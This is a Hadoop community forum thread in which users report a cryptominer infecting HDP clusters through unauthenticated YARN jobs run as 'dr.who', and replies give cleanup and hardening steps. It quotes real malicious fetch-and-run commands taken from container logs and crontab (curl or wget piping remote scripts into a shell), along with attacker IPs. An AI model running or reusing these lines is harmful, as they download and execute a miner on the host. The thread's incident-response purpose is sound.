Support Questions
Find answers, ask questions, and share your expertise
Announcements
Alert: Welcome to the Unified Cloudera Community. Former HCC members be sure to read and learn how to activate your account here.

HDP 2.6.1 Virus CrytalMiner (dr.who)

Solved Go to solution
Highlighted

HDP 2.6.1 Virus CrytalMiner (dr.who)

New Contributor

Hi!

I'm using HDP 2.6.1. Every ok, but recently, I has problem with Yarn application. I has found type of virus. It work flow:
1. Some service submit yarn application with user name "dr.who"

2. When submit yarn application, on worker will run script container. Script have malware to download Trojan CrytalMiner.

3. Trojan will run via command: /tmp/java -c /tmp/w.conf.

I has kill job, but it will re-run after about 15 minute. I don't know where submit yarn application with user "dr.who"!, Anybody has same problem?. Please check and show how to remove this!

Many thank!

74436-virus.png

1 ACCEPTED SOLUTION

Accepted Solutions

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

@Huy Duong

We've recently sent out a security notification regarding the same.

1. Stop further attacks:

a. Use Firewall / IP table settings to allow access only to whitelisted IP addresses for Resource Manager port (default 8088). Do this on both Resource Managers in your HA setup. This only addresses the current attack. To permanently secure your clusters, all HDP end-points ( e.g WebHDFS) must be blocked from open access outside of firewalls.

b. Make your cluster secure (kerberized).

2. Clean up existing attacks:

a. If you already see the above problem in your clusters, please filter all applications named “MYYARN” and kill them after verifying that these applications are not legitimately submitted by your own users.

b. You will also need to manually login into the cluster machines and check for any process with “z_2.sh” or “/tmp/java” or “/tmp/w.conf” and kill them.

Hortonworks strongly recommends affected customers to involve their internal security team to find out the extent of damage and lateral movement inside network. The affected customers will need to do a clean secure installation after backup and ensure that data is not contaminated.

10 REPLIES 10

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

Super Guru

is this on a public cloud? Is this an unsecure cluster?

It seems a hacker got in.

You need to secure your YARN. Dr. Who is anonymous user. Require passwords, enable kerberos, add Knox, secure your serves.

http://hadoop.apache.org/docs/r2.8.0/hadoop-project-dist/hadoop-common/SecureMode.html

hadoop.htttp.staticuser.user = dr. who

it's an internal joke for default user. you can change it. it means you have not secure your Hadoop, have an easy password like admin or have a malicious user.

https://hadoop.apache.org/docs/r2.4.1/hadoop-project-dist/hadoop-common/core-default.xml

https://www.bleepingcomputer.com/news/security/hadoop-servers-expose-over-5-petabytes-of-data/

Stop your cluster. Change your security then restart. You can then kill all those jobs and no new ones will start.

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

@Huy Duong

We've recently sent out a security notification regarding the same.

1. Stop further attacks:

a. Use Firewall / IP table settings to allow access only to whitelisted IP addresses for Resource Manager port (default 8088). Do this on both Resource Managers in your HA setup. This only addresses the current attack. To permanently secure your clusters, all HDP end-points ( e.g WebHDFS) must be blocked from open access outside of firewalls.

b. Make your cluster secure (kerberized).

2. Clean up existing attacks:

a. If you already see the above problem in your clusters, please filter all applications named “MYYARN” and kill them after verifying that these applications are not legitimately submitted by your own users.

b. You will also need to manually login into the cluster machines and check for any process with “z_2.sh” or “/tmp/java” or “/tmp/w.conf” and kill them.

Hortonworks strongly recommends affected customers to involve their internal security team to find out the extent of damage and lateral movement inside network. The affected customers will need to do a clean secure installation after backup and ensure that data is not contaminated.

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

New Contributor

Thanks Sandeep!

I have use firewall block port for yarn resource (8088)!. And all yarn application from user dr.who has gone!

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

New Contributor

Hello!

I has install new cluster. I has firewall all public network. But after install HDP, virus is running, it run via submit task Yarn with Dr.Who user. When submit success, all worker run script to start container, and script malware in this script load this virus to run minning (100%CPU). Please check packages on HDP to verify not has inject malware to project opensource!

It very dangerus!

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

New Contributor

This three server host for Virus contact to load:
193.22.96.25/32

176.119.28.11/32

185.222.210.59/32

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

New Contributor

Hello!

I has view log run container and content is:

# Creating copy of launch script
cp "launch_container.sh" "/hadoop/yarn/log/application_1531304690787_0086/container_e05_1
531304690787_0086_02_000001/launch_container.sh"
chmod 640 "/hadoop/yarn/log/application_1531304690787_0086/container_e05_1531304690787_00
86_02_000001/launch_container.sh"
# Determining directory contents
echo "ls -l:" 1>"/hadoop/yarn/log/application_1531304690787_0086/container_e05_1531304690
787_0086_02_000001/directory.info"
ls -l 1>>"/hadoop/yarn/log/application_1531304690787_0086/container_e05_1531304690787_008
6_02_000001/directory.info"
echo "find -L . -maxdepth 5 -ls:" 1>>"/hadoop/yarn/log/application_1531304690787_0086/con
tainer_e05_1531304690787_0086_02_000001/directory.info"
find -L . -maxdepth 5 -ls 1>>"/hadoop/yarn/log/application_1531304690787_0086/container_e
05_1531304690787_0086_02_000001/directory.info"
echo "broken symlinks(find -L . -maxdepth 5 -type l -ls):" 1>>"/hadoop/yarn/log/applicati
on_1531304690787_0086/container_e05_1531304690787_0086_02_000001/directory.info"
find -L . -maxdepth 5 -type l -ls 1>>"/hadoop/yarn/log/application_1531304690787_0086/con
tainer_e05_1531304690787_0086_02_000001/directory.info"
echo "Launching container"
exec /bin/bash -c "curl https://bitbucket.org/fckskid/mygit/raw/master/zz.sh | bash"

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

Contributor

Just to add few more points on @Sandeep Nemuri's reply

You can follow below steps to troubleshoot this issue

a) Stop All the services

b) Verify crontab entries for yarn user & remove all unknown entries

$ sudo -u yarn crontab -l

In one of the clusters I found below entry in yarn crontab

$ sudo -u yarn crontab -l 
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1 

c) Kill all the process with "/var/tmp/java -c /var/tmp/w.conf" or "/var/tmp/h.conf"

d) Remove /var/tmp/java file from all the nodes

e) Restart the cluster via Ambari

Use firewall rules to allow only whitelisted IP addresses .

If you are using Cloud environment, cross check your security group & make sure only whitelisted IP addresses are allowed to make secure connection to your environment.

Secure your cluster with tools like Kerberos, Ranger & Knox to avoid these kind attacks

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

New Contributor

Thanks a lot, @Gulshad Ansari and @Sandeep Nemuri.

I was struggling with this issue and after spending 2 days I came across to this post. I applied below steps.

1. blocked port 8088 on firewall rules and allowed access to only required IP addresses.

2. killed processed I found with /var/tmp/java -c /var/tmp/w.conf

3. I found a similar entry in crontab at one of our node. I tried to remove it multiple times, but every time it was coming back so I changed the entry to something like below. (I'm not sure whether it is correct way but it started working for me)

***** wget -q -O - http://localhost/xyz.sh 

These changes are working at my end and the problem got solved.

Kudos to both of you..!!!

Re: HDP 2.6.1 Virus CrytalMiner (dr.who)

Rising Star

Hello,

Alright guys, i am facing the same issue and after running crontab command i found

  1. ***** wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1

But i am not able to find any running java process may be because my resource manager has exited and it is not operational anymore. Beside i did find a java app in /var/tmp folder, so supposedly i should delete it right ?

Second thing my resource manager provides an warning exits "Dr.who has been converted for dr_dot_who" and it cause it to shut down. Just to clear my confusion, i struggled around one week on this still no result and the main point of suspicion was why yarn is running application, beside i didn't not schedule any queue am i right ? or it runs by own ?

Thanks, please reply ASAP